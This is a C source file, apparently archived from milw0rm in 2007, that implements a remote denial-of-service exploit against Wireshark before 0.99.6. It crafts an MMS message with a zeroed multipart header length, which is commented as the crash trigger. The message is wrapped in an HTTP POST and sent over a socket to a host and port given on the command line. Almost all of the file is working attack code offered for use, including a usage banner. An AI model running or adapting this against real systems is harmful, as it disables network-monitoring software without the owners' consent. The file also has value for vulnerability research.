WireShark < 0.99.6 MMS Remote Denial of Service Exploit

                                                #include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

char *http =
       "POST / HTTP/1.0\r\n"
       "Content-Type: application/vnd.wap.mms-message\r\n";

char *hoststr = "Host: %s:%d\r\n";
char *contentlenstr = "Content-Length: %d\r\n\r\n";

unsigned char mms[] =
{
       0x8c,0x80,//X-Mms-Message-Type: m-send-req(0x80)
       0x98,0x7a,0x77,0x65,0x6c,0x6c,0x00,//X-Mms-Transaction-ID: zwell
       0x8d,0x92,//X-Mms-MMS-Version: 1.2
       0x97,0x31,0x33,0x35,0x31,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x00,//To: 13510000000
       0x84,0xa3,//Content-Type: application/vnd.wap.multipart.mixed
       //////////////////////////////////////////////////
       0x01,//multipart,count
       0x0f,//HeadersLen
       0x05,//DataLen
       0x00,//headlen <<<=== If this is 0x00, then wireshark will be crash. The real value is the follow three lines bytes which is 0x0e
       ///
       0x83,0x85,//Utf-8
       0x7a,0x77,0x65,0x6c,0x6c,0x2e,0x74,0x78,0x74,0x00,//Name: zwell.txt
       0x81,0xea,//Charset: utf-8
       ///
       0x7a,0x77,0x65,0x6c,0x6c,//zwell
};

SOCKET connect_to_host(char *h, int p)
{
       SOCKET sock;
       struct hostent *host;
       struct sockaddr_in saddr;

       if((host=gethostbyname(h))==NULL)
       {
               printf("resolv host %s error\n", h);
               exit(-1);
       }

       if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
       {
               printf("create socket error\n");
               exit(-1);
       }
       memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
       saddr.sin_family=AF_INET;
       saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
       saddr.sin_port=htons(p);
       if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0)
       {
               printf("connect to host %s on port %d error\n", h, p);
               exit(-1);
       }

       return sock;
}


void socket_init()
{
       WSADATA wsaData;
       WSAStartup(MAKEWORD(2,0), &wsaData);
}


int main(int argc, char **argv)
{
       SOCKET s;
       char sendbuf[1024];
       int len = 0;

       printf("WireShark<0.99.6 MMS protocol DOS PoC\nCoded By ZwelL\nhttp://www.nosec.org\n");
       if(argc != 3)
       {
               printf("usage : %s <host> <port>\n", argv[0]);
               exit(-1);
       }
       socket_init();
       s = connect_to_host(argv[1], atoi(argv[2]));

       strcpy(&sendbuf[len], http);
       len += strlen(http);

       sprintf(&sendbuf[len], hoststr, argv[1], atoi(argv[2]));
       len = strlen(sendbuf);

       sprintf(&sendbuf[len], contentlenstr, sizeof(mms));
       len = strlen(sendbuf);

       memcpy(&sendbuf[len], mms, sizeof(mms));
       len += sizeof(mms);

       send(s, sendbuf, len, 0);

       printf("completed!\n");

       return 0;
}

// milw0rm.com [2007-08-14]